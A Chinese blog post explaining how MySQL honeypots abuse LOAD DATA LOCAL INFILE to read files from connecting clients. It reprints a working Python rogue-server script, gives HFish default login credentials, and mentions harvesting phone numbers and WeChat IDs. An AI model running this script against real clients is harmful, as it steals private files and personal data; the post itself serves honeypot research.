在护网中看到甲方的蜜罐感觉很好玩,就想着自己也搭建一个。然后就看到很多文章讲述用蜜罐获取手机号了什么的,感觉很神奇,就研究了研究。
蜜罐获取手机号信息其实就是一个mysql的任意文件读取漏洞,关于这个漏洞已经出现很久了,网上也有很多关于这个漏洞的文章。但是对于一些入行晚的师傅,可能还不是太了解。本篇文章就来讲述一下mysql蜜罐的原理。
伪造一个mysql服务器,当攻击者尝试连接的时,可以读取攻击者主机的任意文件。
主要是由于mysql的LOAD DATA INFILE 语法
load data infile 的作用是数据库读取一个文件内容导入到数据库表中,而如果使用load data local infile 则数据库从客户机读取文件,导入到表中。
1、登陆mysql,并进行抓包
2、通过分析数据包可以发现,在tcp握手成功之后,mysql服务器返回了一个Greeting包。
3、当客户机收到Greeting包后,客户机向mysql服务器发送了一个login request包进行登陆。
4、mysql服务器收到login包后进行验证,正确了则返回一个ok的响应包。
5、之后客户端发送一个初始化的查询语句,服务端收到后进行回应
至此,客户端登陆成功。
那如何获取客户端的文件呢,我们在客户端执行load data local infile语句进行抓包查看。
1、在客户端执行load data local infile "/etc/passwd" into table 表名 fields terminated by '\n';进行抓包查 看。
2、查看数据包,发现客户端向服务器发送了查询语法
3、服务端收到后把查询的文件名返回给客户端
4、之后客户端把这个文件的内容返回给mysql服务器
5、mysql服务端收到后返回一个ok的应答包
通过分析数据包,我们发现当客户端发送查询语法=》服务端返回文件名=》客户端返回文件内容。 此时我们就可以通过伪造mysql服务器,在被害者连接服务器时身份认证,问候包发送完成后,回一个带有load data infile 标志位的包,即可读取被害者的文件。
附上一个来自 https://xz.aliyun.com/t/3973 给出的脚本
#!/usr/bin/python
#coding: utf8
import socket
# linux :
filestring =
"/etc/hosts"
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST =
"0.0.0.0"
# open for eeeeveryone! ^_^
PORT =
3306
BUFFER_SIZE =
1024
#1 Greeting
greeting =
"\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok =
"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
payloadlen =
"\x0b"
padding =
"\x00\x00"
payload = payloadlen + padding +
"\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,
1)
s.bind((HOST, PORT))
s.listen(
1)
while
True:
conn, addr = s.accept()
print
'Connection from:', addr
conn.send(greeting)
while
True:
data = conn.recv(BUFFER_SIZE)
print
" ".join(
"%02x" % ord(i)
for i
in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print
"[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if
not data:
break
print
"Data received:", data
break
# Don't leave the connection open.
conn.close()
我这里用的是HFish蜜罐进行的搭建,部署流程 https://hfish.io/#/2-3-windows
登陆链接:https://[ip]:4433/web/
账号:admin
密码:HFish2021
在节点管理里可以设置蜜罐,在里面可以修改读取的文件
测试一下蜜罐:
成功读取到数据。
至于读取手机号微信id等信息,只需要修改读取的文件路径即可
https://www.freebuf.com/news/247976.html
haihaihai
评论时间:2022-07-18 15:22:24
haihaihaihaihaihaihaihaihaihaihaihaihaihaihai